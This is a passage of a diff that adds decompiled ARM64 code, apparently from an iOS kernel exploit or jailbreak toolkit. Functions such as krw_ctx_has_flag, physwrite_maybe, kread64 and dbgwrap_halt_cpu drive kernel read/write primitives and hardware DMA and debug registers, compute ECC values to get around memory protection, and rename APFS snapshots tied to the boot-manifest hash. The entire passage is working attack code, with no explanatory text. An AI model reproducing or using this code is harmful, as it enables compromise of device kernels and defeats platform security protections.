) + return 0LL; + v5 = v4; + v6 = CFStringCreateWithCString(kCFAllocatorDefault, "boot-manifest-hash", 0x8000100u); + if ( v6 ) + { + v7 = v6; + CFProperty = IORegistryEntryCreateCFProperty(v5, v6, kCFAllocatorDefault, 0); + if ( CFProperty ) + { + v9 = CFProperty; + TypeID = CFDataGetTypeID(); + if ( TypeID != CFGetTypeID(v9) ) + goto LABEL_12; + Length = CFDataGetLength((CFDataRef)v9); + BytePtr = CFDataGetBytePtr((CFDataRef)v9); + if ( (unsigned __int64)(Length - 1) > 0x7E ) + goto LABEL_12; + v13 = v50; + do + { + v14 = *BytePtr++; + *v13 = a0123456789abcd[(unsigned __int8)(v14 ^ a2) >> 4]; + v13[1] = a0123456789abcd[(v14 ^ a2) & 0xFLL]; + v13 += 2; + LODWORD(Length) = Length - 1; + } + while ( (_DWORD)Length ); + snprintf(__str, 0x200uLL, "com.apple.os.update-%s", (const char *)v50); + v15 = strdup(__str); + if ( v15 ) + { + *a1 = v15; + v16 = 1LL; + } + else + { +LABEL_12: + v16 = 0LL; + } + CFRelease(v9); + } + else + { + v16 = 0LL; + } + CFRelease(v7); + } + else + { + v16 = 0LL; + } + IOObjectRelease(v5); + return v16; +} + +//----- (00000000000226D4) ---------------------------------------------------- +__int64 sub_226D4() +{ + __int64 result; // x0 + + result = sub_4100C(0xFFLL, 0LL, 0LL, 0LL, 0LL, 0LL); + if ( (_DWORD)result ) + return *__error() != 1; + return result; +} + +//----- (0000000000022718) ---------------------------------------------------- +__int64 __fastcall sub_22718(const char *a1, _QWORD *a2, unsigned int *a3) +{ + __int64 v6; // x23 + __int64 v7; // x0 + __int64 v8; // x19 + char *v9; // x21 + unsigned int v10; // w0 + unsigned int v11; // w23 + void *v12; // x0 + unsigned __int64 v13; // x24 + const char *v14; // x25 + __int128 v16; // [xsp+0h] [xbp-60h] BYREF + __int64 v17; // [xsp+10h] [xbp-50h] + + v16 = xmmword_43478; + v17 = 0LL; + *a3 = 0; + v6 = 0LL; + if ( sub_22878(a1) ) + { + v7 = open(a1, 0x100000, v16, v17); + if ( (v7 & 0x80000000) != 0 ) + { + return 0LL; + } + else + { + v8 = v7; + v9 = (char *)calloc(0x1000uLL, 1uLL); + if ( v9 + && (v10 = sub_40FDC(v8, (__int64)&v16, (__int64)v9, 0x1000LL, 0x40LL), (v10 & 0x80000000) == 0) + && (v11 = v10, *a3 = v10, v12 = calloc(v10, 8uLL), (*a2 = v12) != 0LL) ) + { + if ( v11 ) + { + v13 = 0LL; + v14 = v9; + do + { + if ( (v14[4] & 1) != 0 ) + { + *(_QWORD *)(*a2 + 8 * v13) = calloc(*((unsigned int *)v14 + 7), 1uLL); + strcpy(*(char **)(*a2 + 8 * v13), v14 + 0x20); + v11 = *a3; + } + else + { + *(_QWORD *)(*a2 + 8 * v13) = 0LL; + } + v14 += *(unsigned int *)v14; + ++v13; + } + while ( v13 < v11 ); + } + v6 = 1LL; + } + else + { + v6 = 0LL; + } + if ( (int)v8 >= 1 ) + close(v8); + if ( v9 ) + free(v9); + } + } + return v6; +} +// 43478: using guessed type __int128 xmmword_43478; + +//----- (0000000000022878) ---------------------------------------------------- +bool __fastcall sub_22878(const char *a1) +{ + int v1; // w0 + _OWORD v3[5]; // [xsp+0h] [xbp-70h] BYREF + _QWORD v4[3]; // [xsp+58h] [xbp-18h] BYREF + + v4[0] = 5LL; + v4[1] = 0x80020000LL; + v4[2] = 0LL; + memset(v3, 0, 0x4C); + v1 = getattrlist(a1, v4, v3, 0x4CuLL, 0x20u); + return (v1 | DWORD2(v3[0]) & 0x20000) != 0; +} + +//----- (00000000000228E4) ---------------------------------------------------- +__int64 __fastcall sub_228E4(const char *a1, const char *a2, char a3) +{ + __int64 v6; // x19 + unsigned __int64 v7; // x26 + const char **v8; // x27 + char *v9; // x22 + unsigned __int64 v10; // x23 + _BOOL4 v12; // w8 + _BOOL4 v13; // w25 + __int64 v14; // x20 + __int64 v15; // x22 + const char **v16; // x21 + bool v17; // zf + void **v18; // x23 + void *v19; // t1 + char *v21; // x23 + const char *v22; // x24 + char *v23; // [xsp+0h] [xbp-70h] BYREF + char *__s2; // [xsp+8h] [xbp-68h] BYREF + unsigned int v25; // [xsp+14h] [xbp-5Ch] BYREF + const char **v26; // [xsp+18h] [xbp-58h] BYREF + + v26 = 0LL; + v25 = 0; + v23 = 0LL; + __s2 = 0LL; + if ( (unsigned int)sub_224BC(&__s2, 0) + && (unsigned int)sub_224BC(&v23, 0x41u) + && (unsigned int)sub_22718(a1, &v26, &v25) ) + { + v6 = open(a1, 0x100000); + if ( (v6 & 0x80000000) != 0 ) + { + v14 = 0LL; + } + else + { + v7 = v25; + if ( v25 ) + { + v8 = v26; + v9 = __s2; + if ( !strcmp(*v26, __s2) ) + { + v12 = 0; + v13 = 1; + } + else + { + v10 = 1LL; + while ( v7 != v10 ) + { + if ( !strcmp(v8[v10++], v9) ) + { + v12 = 0; + v13 = v10 - 1 < v7; + goto LABEL_39; + } + } + v13 = v10 < v7; + v21 = v23; + while ( 1 ) + { + v22 = *v8; + if ( !strcmp(*v8, v21) ) + goto LABEL_37; + if ( a2 && !strcmp(v22, a2) ) + break; + ++v8; + if ( !--v7 ) + goto LABEL_28; + } + if ( (a3 & 1) != 0 ) + { +LABEL_37: + v12 = sub_4100C(3LL, v6, (__int64)v22, (__int64)v9, 0LL, 0LL) == 0; + goto LABEL_39; + } + v12 = 1; + } + } + else + { + v13 = 0; +LABEL_28: + v12 = 0; + } +LABEL_39: + v14 = v13 | (unsigned int)v12; + } + } + else + { + v14 = 0LL; + LODWORD(v6) = 0xFFFFFFFF; + } + v15 = v25; + v16 = v26; + if ( v25 ) + v17 = v26 == 0LL; + else + v17 = 1; + if ( !v17 ) + { + v18 = (void **)v26; + do + { + v19 = *v18++; + free(v19); + --v15; + } + while ( v15 ); + free(v16); + } + if ( __s2 ) + free(__s2); + if ( v23 ) + free(v23); + if ( (int)v6 >= 1 ) + close(v6); + return v14; +} + +//----- (0000000000022ADC) ---------------------------------------------------- +__int64 __fastcall sub_22ADC(const char *a1, const char *a2) +{ + __int64 v4; // x19 + __int64 v5; // x23 + const char **v6; // x24 + char *v7; // x21 + __int64 v8; // x25 + const char **v9; // x26 + const char *v10; // x22 + char *v11; // x20 + const char *v12; // x22 + int v13; // w9 + _BOOL4 v14; // w8 + __int64 v15; // x20 + __int64 v16; // x22 + void *v17; // x21 + bool v18; // zf + void **v19; // x23 + int v21; // w0 + char *__s2; // [xsp+0h] [xbp-60h] BYREF + char *v23; // [xsp+8h] [xbp-58h] BYREF + unsigned int v24; // [xsp+14h] [xbp-4Ch] BYREF + void *v25; // [xsp+18h] [xbp-48h] BYREF + + v25 = 0LL; + v24 = 0; + __s2 = 0LL; + v23 = 0LL; + if ( (unsigned int)sub_224BC(&v23, 0) + && (unsigned int)sub_224BC(&__s2, 0x41u) + && (unsigned int)sub_22718(a1, &v25, &v24) ) + { + v4 = open(a1, 0x100000); + if ( (v4 & 0x80000000) != 0 ) + { + v15 = 0LL; + } + else + { + v5 = v24; + if ( v24 ) + { + v6 = (const char **)v25; + v7 = __s2; + v8 = v24; + v9 = (const char **)v25; + do + { + v10 = *v9; + if ( *v9 && (!strcmp(*v9, v7) || a2 && !strcmp(v10, a2)) ) + { + v14 = 0; + v13 = 1; + goto LABEL_37; + } + ++v9; + --v8; + } + while ( v8 ); + v11 = v23; + while ( 1 ) + { + v12 = *v6; + if ( *v6 ) + { + if ( !strcmp(*v6, v11) ) + break; + } + ++v6; + if ( !--v5 ) + goto LABEL_16; + } + v21 = sub_4100C(3LL, v4, (__int64)v12, (__int64)v7, 0LL, 0LL); + v13 = 0; + v14 = v21 == 0; + } + else + { +LABEL_16: + v13 = 0; + v14 = 0; + } +LABEL_37: + v15 = v13 | (unsigned int)v14; + } + } + else + { + v15 = 0LL; + LODWORD(v4) = 0xFFFFFFFF; + } + v16 = v24; + v17 = v25; + if ( v24 ) + v18 = v25 == 0LL; + else + v18 = 1; + if ( !v18 ) + { + v19 = (void **)v25; + do + { + if ( *v19 ) + free(*v19); + ++v19; + --v16; + } + while ( v16 ); + free(v17); + } + if ( (int)v4 >= 1 ) + close(v4); + if ( v23 ) + free(v23); + if ( __s2 ) + free(__s2); + return v15; +} + +//----- (0000000000022CA8) ---------------------------------------------------- +bool __fastcall sub_22CA8(bool *a1) +{ + _BOOL8 result; // x0 + int v3; // w8 + char v5[2]; // [xsp+Eh] [xbp-892h] BYREF + statfs v6; // [xsp+10h] [xbp-890h] BYREF + + strcpy(v5, "/"); + bzero(&v6, 0x878uLL); + result = sub_22878(v5); + if ( result ) + { + if ( statfs(v5, &v6) ) + return 1LL; + v3 = HIBYTE(v6.f_fsid.val[0]) << 0x18; + result = v3 != 0x1000000; + if ( v3 != 0x1000000 && a1 != 0LL ) + { + *a1 = strchr(v6.f_mntfromname, 0x40) == 0LL; + return 1LL; + } + } + return result; +} + +//----- (0000000000022D6C) ---------------------------------------------------- +__int64 __fastcall sub_22D6C(_DWORD *ctx, __int64 a2, int a3) +{ + __int64 dmaBaseCommand; // x23 + char v7; // w25 + __int64 dmaMask; // x28 + __int64 v9; // x20 + __int64 v10; // x24 + __int64 *v11; // x1 + __int64 v12; // x27 + __int64 v13; // x26 + __int64 v14; // x23 + __int64 v15; // x24 + unsigned __int64 v16; // x0 + __int64 v17; // x9 + unsigned __int64 v18; // x8 + int v19; // w25 + __int64 v20; // x8 + __int64 v21; // x28 + __int64 v22; // x8 + __int64 v23; // x8 + unsigned __int16 v24; // w28 + const __int16 *v25; // x9 + __int64 i; // x10 + __int64 v27; // x8 + unsigned __int16 v28; // w25 + const __int16 *v29; // x9 + __int64 j; // x10 + int v31; // w8 + _BOOL4 v32; // w12 + char v33; // w9 + unsigned int v34; // w9 + unsigned int v35; // w10 + unsigned int v36; // w10 + int v37; // w21 + __int64 v39; // [xsp+18h] [xbp-228h] + _QWORD *v40; // [xsp+20h] [xbp-220h] + __int64 v41; // [xsp+28h] [xbp-218h] + __int64 v42; // [xsp+30h] [xbp-210h] + __int64 v43; // [xsp+40h] [xbp-200h] + __int64 v44; // [xsp+48h] [xbp-1F8h] + _BOOL4 has_flag; // [xsp+60h] [xbp-1E0h] + int v46; // [xsp+64h] [xbp-1DCh] + unsigned __int64 v47; // [xsp+68h] [xbp-1D8h] + _OWORD v48[4]; // [xsp+70h] [xbp-1D0h] BYREF + __int64 v49[7]; // [xsp+B0h] [xbp-190h] BYREF + _QWORD v50[7]; // [xsp+E8h] [xbp-158h] BYREF + __int128 __s2; // [xsp+120h] [xbp-120h] BYREF + __int128 v52; // [xsp+130h] [xbp-110h] + __int128 v53; // [xsp+140h] [xbp-100h] + __int128 v54; // [xsp+150h] [xbp-F0h] + _OWORD v55[2]; // [xsp+160h] [xbp-E0h] BYREF + _OWORD v56[2]; // [xsp+180h] [xbp-C0h] + _OWORD __s1[4]; // [xsp+1A0h] [xbp-A0h] BYREF + + if ( krw_ctx_has_flag(ctx, 0x2200000) ) + dmaBaseCommand = 0x406000000LL; + else + dmaBaseCommand = 0x206000000LL; + if ( krw_ctx_has_flag(ctx, 0x2200000) ) + v7 = 0xF; + else + v7 = 0xE; + if ( krw_ctx_has_flag(ctx, 0x1000000) ) + { + dmaMask = 0x7FFFFFFLL; + } + else if ( krw_ctx_has_flag(ctx, 0x2200000) ) + { + dmaMask = 0x3FFFFFFLL; + } + else + { + dmaMask = 0x3FFFFFLL; + } + v9 = 0xAD022LL; + if ( (unsigned int)sub_23348((__int64)ctx, 1) ) + { + v10 = something_dmaFail(ctx); + if ( (_DWORD)v10 ) + { +LABEL_85: + sub_25164((__int64)ctx, 4u); + return v10; + } + if ( (unsigned int)physwrite_maybe((__int64)ctx, dmaBaseCommand | 0x140000, (__int64)v49) ) + { + v10 = 0xAD022LL; + goto LABEL_85; + } + if ( (unsigned int)physwrite_maybe((__int64)ctx, dmaBaseCommand | 0x150000, (__int64)v50) ) + { + v11 = v49; +LABEL_84: + sub_38BCC((__int64)ctx, (__int64)v11); + v10 = v9; + goto LABEL_85; + } + if ( !dbgwrap_halt_cpu((__int64)ctx, dmaBaseCommand, v48) ) + { +LABEL_83: + sub_38BCC((__int64)ctx, (__int64)v49); + v11 = v50; + goto LABEL_84; + } + v12 = v49[0]; + v13 = v50[0]; + v42 = *(_QWORD *)(v49[0] + 0x108); + v14 = *(_QWORD *)(v50[0] + 0x40LL); + v15 = *(_QWORD *)(v50[0] + 0x48LL); + if ( krw_ctx_has_flag(ctx, 0x1100000) ) + { + v39 = *(_QWORD *)(v50[0] + 0x20LL); + v40 = (_QWORD *)(v50[0] + 0x20LL); + *(_QWORD *)(v50[0] + 0x20LL) = 1LL; + } + else + { + v39 = 0LL; + v40 = 0LL; + } + v16 = sub_23700((__int64)ctx, a2 & 0xFFFFFFFFFFFFFFC0LL); + if ( v16 ) + { + v47 = v42 | 0x8000000000000000LL; + v17 = ((0xFFFFFFFF << v7) & 0x4000 ^ 0x7FC0) & (unsigned int)v16 | 0x2000000; + v41 = (v16 >> 0x25) & 0x1F; + v18 = v16 >> v7; + v19 = 0; + v20 = v18 & dmaMask; + v21 = a2 & 0x3F; + v43 = v20 << 0x12; + v44 = v17; + while ( 1 ) + { + if ( !(unsigned int)kreadbuf_last_1((__int64)ctx, a2 & 0xFFFFFFFFFFFFFFC0LL, 0x40LL, (__int64)&__s2) ) + { +LABEL_72: + v37 = 0; + goto LABEL_76; + } + if ( v19 ) + { + if ( !memcmp(__s1, &__s2, 0x40uLL) ) + goto LABEL_30; + if ( !memcmp(&__s2, v55, 0x40uLL) || *(_DWORD *)((char *)&__s2 + v21) == a3 ) + { + v37 = 0; + v9 = 0LL; + goto LABEL_76; + } + } + __s1[0] = __s2; + __s1[1] = v52; + __s1[2] = v53; + __s1[3] = v54; + v55[0] = __s2; + v55[1] = v52; + v56[0] = v53; + v56[1] = v54; + *(_DWORD *)((char *)v55 + v21) = a3; +LABEL_30: + if ( !(unsigned int)sub_23760(ctx, (__int64)v48) ) + goto LABEL_72; + *(_QWORD *)(v12 + 0x108) |= 0x8000000000000001LL; + while ( (~*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)ctx, 0x64u); + *(_QWORD *)(v12 + 8) &= ~0x1000000000000000uLL; + *(_QWORD *)(v12 + 0x108) &= v47; + while ( (*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)ctx, 0x64u); + v22 = 0LL; + *(_QWORD *)(v13 + 0x40) = v44; + do + { + *(_QWORD *)(v13 + 0x48) = *(_QWORD *)((char *)v55 + v22); + v22 += 8LL; + } + while ( v22 != 0x40 ); + v23 = 0LL; + v24 = 0; + v25 = dmaFail_ecc_sbox; + do + { + for ( i = 0LL; i != 0x20; ++i ) + { + if ( ((*((_DWORD *)v55 + v23) >> i) & 1) != 0 ) + v24 ^= v25[i]; + } + ++v23; + v25 += 0x20; + } + while ( v23 != 8 ); + v46 = v19; + v27 = 0LL; + v28 = 0; + v29 = dmaFail_ecc_sbox; + do + { + for ( j = 0LL; j != 0x20; ++j ) + { + if ( ((*((_DWORD *)v56 + v27) >> j) & 1) != 0 ) + v28 ^= v29[j]; + } + ++v27; + v29 += 0x20; + } + while ( v27 != 8 ); + has_flag = krw_ctx_has_flag(ctx, 0x84001); + if ( krw_ctx_has_flag(ctx, 0x2200000) && (v31 = v41 | v24 & 0x3E0, v31 != v24) ) + { + v34 = 0xA; + v32 = has_flag; + do + { + v35 = (unsigned __int16)(v31 ^ v24) ^ ((unsigned __int16)(v31 ^ v24) >> 8); + v36 = v35 ^ (v35 >> 4) ^ ((v35 ^ (v35 >> 4)) >> 2); + if ( ((v36 ^ (v36 >> 1)) & 1) == 0 ) + break; + v31 ^= 1 << --v34; + } + while ( v34 > 5 ); + } + else + { + LOWORD(v31) = v24; + v32 = has_flag; + } + v33 = 0x28; + if ( !v32 ) + v33 = 8; + *(_QWORD *)(v13 + 0x48) = v43 & 0x3FFFFFFFFFFFFLL | ((unsigned __int64)v28 << 0x32) | ((unsigned __int64)(unsigned __int16)v31 << v33) | 0x1F; + *(_QWORD *)(v12 + 0x108) |= 0x8000000000000001LL; + while ( (~*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)ctx, 0x64u); + *(_QWORD *)(v12 + 8) |= 0x1000000000000000uLL; + v21 = a2 & 0x3F; + if ( !(unsigned int)kreadbuf_last_1((__int64)ctx, a2, 4LL, (__int64)&__s2 + v21) ) + goto LABEL_74; + if ( *(_DWORD *)((char *)&__s2 + (a2 & 0x3F)) == a3 ) + { + v9 = 0LL; +LABEL_74: + v37 = 1; + goto LABEL_76; + } + *(_QWORD *)(v12 + 0x108) &= v47; + while ( (*(_QWORD *)(v12 + 0x108) & 0x8000000000000001LL) != 0 ) + sub_2AABC((__int64)ctx, 0x64u); + if ( (sub_2385C(ctx, (__int64)v48) & 1) == 0 ) + goto LABEL_74; + v19 = v46 + 1; + if ( v46 == 0xF ) + goto LABEL_72; + } + } + v37 = 0; +LABEL_76: + if ( v42 && *(_QWORD *)(v12 + 0x108) != v42 ) + *(_QWORD *)(v12 + 0x108) &= v42 | 0x8000000000000000LL; + *(_QWORD *)(v13 + 0x40) = v14; + *(_QWORD *)(v13 + 0x48) = v15; + if ( krw_ctx_has_flag(ctx, 0x1100000) ) + { + *v40 = v39; + if ( (v37 & 1) == 0 ) + { +LABEL_82: + sub_38BCC((__int64)ctx, (__int64)v48); + goto LABEL_83; + } + } + else if ( !v37 ) + { + goto LABEL_82; + } + sub_2385C(ctx, (__int64)v48); + goto LABEL_82; + } + return v9; +} +// 43490: using guessed type __int16 dmaFail_ecc_sbox[3]; + +//----- (0000000000023348) ---------------------------------------------------- +__int64 __fastcall sub_23348(__int64 a1, int a2) +{ + __int64 v3; // x8 + __int64 v4; // x20 + uint64_t v5; // x8 + + if ( a2 ) + { + v3 = *(_QWORD *)(a1 + 0x118); + if ( v3 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + v4 = *(_QWORD *)(v3 + 0x150); + if ( v4 ) + { + v5 = (mach_absolute_time() - v4) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260); + if ( v5 <= 0x1312CFF ) + sub_2AABC(a1, 0x3E8 * (0x14 - (unsigned int)v5 / 0xF4240)); + } + } + } + if ( (unsigned int)sub_251A4(a1, 4u, 0x3E8u) ) + return 0LL; + if ( *(_QWORD *)(a1 + 0x118) ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x150LL) = mach_absolute_time(); + } + } + else + { + sub_25164(a1, 4u); + } + return 1LL; +} + +//----- (0000000000023424) ---------------------------------------------------- +__int64 __fastcall something_dmaFail(_DWORD *a1) +{ + unsigned __int64 v1; // d8 + unsigned __int64 v2; // d9 + unsigned __int64 v4; // x21 + uint64_t v5; // x20 + __int64 v6; // x22 + int v7; // w1 + __int64 v8; // x20 + int gGFXCommand; // w21 + __int64 v10; // x22 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + uint64_t v14; // x20 + _QWORD v16[7]; // [xsp+0h] [xbp-70h] BYREF + mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF + + v4 = 0x23B080000LL; + info = 0LL; + mach_timebase_info(&info); + LODWORD(v2) = info.denom; + LODWORD(v1) = info.numer; + v5 = mach_absolute_time(); + if ( krw_ctx_has_flag(a1, 0x1000000) ) + { + v4 = 0x23B700000LL; + goto LABEL_10; + } + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + v6 = 0x404E80000LL; + v7 = 0x2000000; + goto LABEL_7; + } + if ( krw_ctx_has_flag(a1, 0x80000) ) + { + v6 = 0x28E580000LL; + v7 = 0x200000; +LABEL_7: + if ( krw_ctx_has_flag(a1, v7) ) + v4 = v6; + else + v4 = 0x23B700000LL; + goto LABEL_10; + } + if ( !krw_ctx_has_flag(a1, 0x4000) && !krw_ctx_has_flag(a1, 1) ) + return 0xAD022LL; +LABEL_10: + if ( (unsigned int)physwrite_maybe((__int64)a1, v4, (__int64)v16) ) + return 0xAD022LL; + gGFXCommand = 0x1F0023FF; + if ( !krw_ctx_has_flag(a1, 0x1000000) ) + { + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + if ( (int)number_of_cpus() < 8 ) + { + v10 = 0x3C8LL; + goto LABEL_33; + } + v11 = !krw_ctx_has_flag(a1, 0x2000000); + v12 = 0x108LL; + v13 = 0x430LL; + } + else + { + if ( krw_ctx_has_flag(a1, 0x80000) ) + { + if ( (int)number_of_cpus() < 8 ) + { + v10 = 0x3D0LL; + goto LABEL_33; + } + v11 = !krw_ctx_has_flag(a1, 0x200000); + v12 = 0x3C0LL; + } + else + { + gGFXCommand = 0x1F0003FF; + if ( krw_ctx_has_flag(a1, 0x4000) ) + { + v10 = 0x390LL; + goto LABEL_33; + } + if ( !krw_ctx_has_flag(a1, 1) ) + { + v8 = 0xAD022LL; + sub_38BCC((__int64)a1, (__int64)v16); + return v8; + } + v11 = (unsigned int)number_of_cpus() == 8; + v12 = 0x388LL; + } + v13 = 0x3F8LL; + } + if ( v11 ) + v10 = v13; + else + v10 = v12; + goto LABEL_33; + } + v10 = 0x408LL; +LABEL_33: + if ( (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) + { + v14 = (unsigned __int64)((double)v2 / (double)v1 * 1000000.0 * 1000.0 + (double)v5); + *(_DWORD *)(v10 + v16[0]) = gGFXCommand; + while ( mach_absolute_time() < v14 && (~*(_DWORD *)(v16[0] + v10) & 0xF) != 0 ) + ; + sub_2AABC((__int64)a1, 0x3E8u); + } + sub_38BCC((__int64)a1, (__int64)v16); + return 0LL; +} +// 23600: variable 'v2' is possibly undefined +// 23604: variable 'v1' is possibly undefined + +//----- (00000000000236A4) ---------------------------------------------------- +bool __fastcall dbgwrap_halt_cpu(__int64 ctx, __int64 dmaBase, _OWORD *value) +{ + int v5; // w21 + + value[2] = 0u; + value[3] = 0u; + *value = 0u; + value[1] = 0u; + v5 = physwrite_maybe(ctx, dmaBase + 0x40000, (__int64)value); + if ( v5 ) + sub_38BCC(ctx, (__int64)value); + return v5 == 0; +} + +//----- (0000000000023700) ---------------------------------------------------- +__int64 __fastcall sub_23700(__int64 a1, __int64 a2) +{ + int v4; // w0 + _BYTE v6[32]; // [xsp+8h] [xbp-38h] BYREF + __int64 v7; // [xsp+28h] [xbp-18h] + + sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v6); + if ( v4 && v7 ) + return (*(_QWORD *)(a1 + 0x188) & a2) + (v7 & 0xFFFFFFFFC000LL); + else + return 0LL; +} +// 2372C: variable 'v4' is possibly undefined + +//----- (0000000000023760) ---------------------------------------------------- +__int64 __fastcall sub_23760(_DWORD *a1, __int64 a2) +{ + __int64 v4; // x21 + unsigned __int64 v6; // d0 + unsigned __int64 v7; // d1 + uint64_t v8; // x21 + mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + + v4 = **(_QWORD **)a2; + if ( (v4 & 0x90000000) == 0 ) + { + if ( krw_ctx_has_flag(a1, 0x1100000) ) + sub_2AABC((__int64)a1, 0x3E8u); + **(_QWORD **)a2 = v4 | 0x80000000LL; + *(_BYTE *)(a2 + 0x38) = 1; + info = 0LL; + mach_timebase_info(&info); + LODWORD(v6) = info.denom; + LODWORD(v7) = info.numer; + v8 = (unsigned __int64)((double)v6 / (double)v7 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); + while ( mach_absolute_time() < v8 ) + { + if ( (**(_QWORD **)a2 & 0x10000000) != 0 ) + return 1LL; + } + } + if ( *(_BYTE *)(a2 + 0x38) ) + sub_2385C(a1, a2); + return 0LL; +} +// 23808: variable 'v6' is possibly undefined +// 2380C: variable 'v7' is possibly undefined + +//----- (000000000002385C) ---------------------------------------------------- +__int64 __fastcall sub_2385C(_DWORD *a1, __int64 a2) +{ + unsigned __int64 v4; // x21 + unsigned __int64 v5; // d0 + unsigned __int64 v6; // d1 + uint64_t v7; // x20 + mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF + + if ( !*(_BYTE *)(a2 + 0x38) ) + return 1LL; + v4 = **(_QWORD **)a2 & 0xFFFFFFFF2FFFFFFFLL | 0x40000000; + if ( krw_ctx_has_flag(a1, 0x1100000) ) + sub_2AABC((__int64)a1, 0x3E8u); + **(_QWORD **)a2 = v4; + info = 0LL; + mach_timebase_info(&info); + LODWORD(v5) = info.denom; + LODWORD(v6) = info.numer; + v7 = (unsigned __int64)((double)v5 / (double)v6 * 1000000.0 * 1000.0 + (double)mach_absolute_time()); + while ( mach_absolute_time() < v7 ) + { + if ( (**(_QWORD **)a2 & 0x10000000) == 0 ) + { + *(_BYTE *)(a2 + 0x38) = 0; + return 1LL; + } + } + return 0LL; +} +// 238CC: variable 'v5' is possibly undefined +// 238D0: variable 'v6' is possibly undefined + +//----- (0000000000023940) ---------------------------------------------------- +__int64 __fastcall sub_23940(__int64 a1, __int64 a2) +{ + void *v3; // x20 + __int64 v4; // x19 + __int64 v6; // [xsp+0h] [xbp-40h] BYREF + _QWORD v7[3]; // [xsp+8h] [xbp-38h] BYREF + unsigned int v8; // [xsp+24h] [xbp-1Ch] BYREF + void *v9; // [xsp+28h] [xbp-18h] BYREF + + v9 = 0LL; + v8 = 0; + if ( !(unsigned int)sub_239D8(a1, 0LL, 0LL, &v9, &v8, 0) ) + return 0xFFFFFFFFLL; + v6 = 0x786F62646E6153LL; + v7[0] = a2; + v3 = v9; + v7[1] = v9; + v7[2] = v8; + v4 = sub_40FB0((__int64)&v6, 1LL, (__int64)v7); + if ( v3 ) + free(v3); + return v4; +} + +//----- (00000000000239D8) ---------------------------------------------------- +__int64 __fastcall sub_239D8(__int64 a1, _QWORD *a2, _DWORD *a3, _QWORD *a4, _DWORD *a5, int a6) +{ + __int64 result; // x0 + int v10; // w8 + _QWORD *v13; // x19 + _DWORD *v14; // x22 + __int64 v15; // x25 + __int64 v16; // x27 + __int64 v17; // x28 + unsigned int v18; // w21 + unsigned __int64 v19; // x9 + unsigned __int64 v20; // x26 + unsigned __int64 v21; // x1 + size_t v22; // x27 + void *v23; // x25 + void *v24; // x24 + unsigned __int64 v25; // x1 + __int64 v26; // x26 + _DWORD *v27; // [xsp+0h] [xbp-70h] + unsigned __int64 v28; // [xsp+8h] [xbp-68h] BYREF + int v29; // [xsp+10h] [xbp-60h] BYREF + _DWORD __size[3]; // [xsp+14h] [xbp-5Ch] BYREF + + result = 0LL; + v29 = 0; + v10 = *(_DWORD *)(a1 + 0x140); + if ( v10 > 0x1F53 ) + { + if ( v10 <= 0x225B ) + { + if ( v10 != 0x1F54 && v10 != 0x2258 ) + return result; + goto LABEL_18; + } + if ( v10 == 0x225C ) + { +LABEL_18: + v13 = a4; + v14 = a3; + v27 = a5; + v18 = 0x10; + v16 = 4LL; + v17 = 0x18LL; + v15 = 0x10LL; + goto LABEL_26; + } + if ( v10 != 0x2712 ) + return result; + v13 = a4; + v14 = a3; + v27 = a5; + v18 = 0x10; + v16 = 4LL; + v17 = 0x18LL; + v15 = 0x18LL; +LABEL_26: + v20 = *(_QWORD *)(a1 + 0x398); + result = validate_addr(a1, v20); + if ( !result ) + return result; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F541900000000uLL ) + { + v21 = v20 + v17; + } + else + { + result = kread64((_DWORD *)a1, v20 + v15, (__int64 *)&v28); + if ( !(_DWORD)result ) + return result; + result = validate_addr(a1, v28); + if ( !result ) + return result; + v21 = v28 + v17; + } + result = kread64((_DWORD *)a1, v21, (__int64 *)&v28); + if ( !(_DWORD)result ) + return result; + if ( v28 ) + { + result = validate_addr(a1, v28); + v28 = result; + if ( !result ) + return result; + result = kreadbuf_last_1(a1, v16 - v18 + result, 4LL, (__int64)&v29); + if ( !(_DWORD)result ) + return result; + v22 = v29 - v18; + v29 = v22; + if ( (unsigned int)(v22 - 1) > 0x3FF ) + return 0LL; + result = (__int64)malloc(v22); + if ( !result ) + return result; + v23 = (void *)result; + if ( !(unsigned int)kreadbuf_last_1(a1, v28, v22, result) ) + { + v24 = 0LL; +LABEL_60: + free(v23); +LABEL_61: + if ( v24 ) + free(v24); + return 0LL; + } + } + else + { + v23 = 0LL; + } + if ( !a2 && !v14 ) + { + *v13 = v23; + *v27 = v29; + return 1LL; + } + if ( a6 ) + { + v25 = sub_24208(a1); + v28 = v25; + if ( !v25 ) + goto LABEL_58; + } + else + { + if ( !kread64((_DWORD *)a1, v20, (__int64 *)&v28) ) + goto LABEL_58; + v25 = v28; + } + if ( kread64((_DWORD *)a1, v25, (__int64 *)&__size[1]) ) + { + v24 = 0LL; + if ( (unsigned int)kreadbuf_last_1(a1, v28 + *(int *)(a1 + 0x168), 4LL, (__int64)__size) ) + { + v26 = __size[0]; + if ( __size[0] <= 0x80000u ) + { + v24 = malloc(__size[0]); + if ( v24 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, *(__int64 *)&__size[1], v26, (__int64)v24) ) + { + *v13 = v23; + *v27 = v29; + result = 1LL; + if ( !a2 || !v14 ) + return result; + *a2 = v24; + *v14 = __size[0]; + return 1LL; + } + } + } + } +LABEL_59: + if ( !v23 ) + goto LABEL_61; + goto LABEL_60; + } +LABEL_58: + v24 = 0LL; + goto LABEL_59; + } + if ( v10 == 0x1809 ) + { + v13 = a4; + v14 = a3; + v27 = a5; + v15 = 0LL; + v19 = *(_QWORD *)(a1 + 0x158); + if ( v19 <= 0x18091E01EFFFFFLL ) + v18 = 0x20; + else + v18 = 0x10; + if ( v19 <= 0x18091E01EFFFFFLL ) + v16 